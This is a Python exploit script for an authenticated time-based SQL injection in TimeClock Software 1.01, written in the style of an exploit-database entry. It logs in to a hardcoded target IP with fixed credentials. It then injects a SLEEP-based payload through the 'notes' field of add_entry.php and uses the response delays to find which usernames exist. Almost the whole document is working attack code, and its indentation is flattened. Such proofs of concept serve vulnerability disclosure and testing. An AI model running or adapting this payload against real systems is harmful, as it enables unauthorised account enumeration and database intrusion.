TimeClock Software 1.01 SQL Injection

`#!/usr/bin/python3  
  
# Exploit Title: TimeClock Software 1.01 Authenticated Time-Based SQL Injection  
# Date: July 21, 2020  
# Exploit Author: François Bibeau  
# Co Author: Tyler Butler, http://tbutler.org, https://twitter.com/tbutler0x90  
# Vendor Homepage: http://timeclock-software.net/  
# Software Link: http://timeclock-software.net/timeclock-download.php  
# Version: 1.01  
# Tested on: Ubuntu 18.04.3 (LTS) x64, mysql 5.7, php 7.2.1-apache  
  
import time  
import requests  
  
  
login_url = 'http://159.203.41.34/login_action.php' # Ensure to change ip to match target  
login_data = {'username':'fred','password':'fred','submit':'Log In'}  
headers = {'User-Agent': 'Mozilla/5.0'}  
  
# init session & login  
session = requests.Session()  
session.post(login_url,headers=headers,data=login_data)  
  
# static list provided for PoC, could use a text file  
users = ['john','bill','tim','fred','garry','sid','admin']  
  
for user in users:  
url = "http://159.203.41.34/add_entry.php"  
payload = f"' OR IF((SELECT username FROM user_info WHERE username='{user}')='{user}', SLEEP(5), NULL)='"  
  
data = {'data_month': '1',  
'data_day': '1',  
'data_year': '1',  
'type_id': '5',  
'hours': '1',  
'notes': payload,  
'submit': 'Add'}  
  
print(f'Checking user {user}... ', end = '')  
  
start = time.time()  
response = session.post(url,data=data)  
end = time.time()  
  
delay = end - start  
  
if delay > 5:  
print('User found!')  
else:  
print('')  
`